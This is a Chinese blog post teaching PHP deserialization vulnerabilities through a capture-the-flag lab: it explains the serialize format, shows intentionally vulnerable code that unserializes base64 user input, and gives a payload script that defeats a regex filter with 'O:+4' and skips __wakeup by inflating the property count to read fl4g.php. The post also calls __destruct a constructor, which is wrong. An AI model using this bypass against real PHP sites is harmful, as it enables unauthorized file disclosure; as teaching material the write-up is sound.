WEB安全-PHP反序列化漏洞原理

  • Post author:
  • Post category:php


一、漏洞原理

在提及漏洞前,首先要先理解PHP中的serialize()和unserialize()两个函数(由于没有PHP开发基础,请各位大哥指出小弟本文中的错误),serizlize()就是将变量、对象、数组等数据类型转换成字符串方便进行网络传输和存储,再通过unserialize()将字符串进行转换成原来的数据。当存在反序列化函数及可利用魔术方法时,且unserialize()接受到的字符串对于用户是可控时,用户可针对使用的

magic function

(魔术方法)来构造特定的语句,从而达到控制整个反序列化过程

二、序列化基础

例:

<?php
class test{
    public $s1 = 'hellowworld!';
    
}

$class = new test();
print_r($class);
$class2 = serialize($class);
print_r($class2);

?>

可以看到序列化后将对象转换成了O:4:”test”:1:{s:2:”s1″;s:12:”helloworld!”;}这样字符串;

其中O代表对象,4代表对象的类名长度,”test”是对象名,1是对象中的字段数,s:2:”s1″代表的是字段名和字段名长度,s:12:”helloworld!”代表的是字段的值,和值的长度。

不同的数据类型有不同的缩写:a – array b – boolean d – double i – integer o – common object r – reference s – string C – custom object O – class N – null R – pointer reference U – unicode string

本身这个序列化过程没有问题,但是在反序列化的过程中如果没有对用户的输入进行安全检查,从而导致改变对象中属性的值,那么反序列化的结果就会有所不同。

可以在PHP官方看到魔术方法包含了图中的这么些,这里就分开实验其中的一些函数。

三、靶场练习

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

(一)代码分析

1.__destruct():构造函数,对类变量进行初始化

2.析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。

3.__wakeup()魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法;分析:$this->file != ‘index.php//如果界面不为index.php

$this->file = ‘index.php’; //界面就强制改为index.php。

4.OC:正则表达式:

\d:  匹配一个数字字符。等价于 [0-9]。

+:  匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。

/i:  表示匹配的时候不区分大小写

这个正则表达式就是查看是否有数字。

(二)绕过

1.其实当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术函数执行。

2.因为反序列化是有数字的,方法:加一个加号即可。

(三)构造payload

<?php
class Demo {
 private $file = 'index.php';
 public function __construct($file) {
 $this->file = $file;
 }
 function __destruct() {
 echo @highlight_file($this->file, true);
 }
 function __wakeup() {
 if ($this->file != 'index.php') {
 //the secret is in the fl4g.php
 $this->file = 'index.php';
 }
 }
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
echo($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过wakeup 函数
echo base64_encode($flag); //对参数进行 base 编码
?> 

复制输出的字符串再提交为 var 参数即可 这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首 部会加上%00*%00。



版权声明:本文为qq_59350385原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。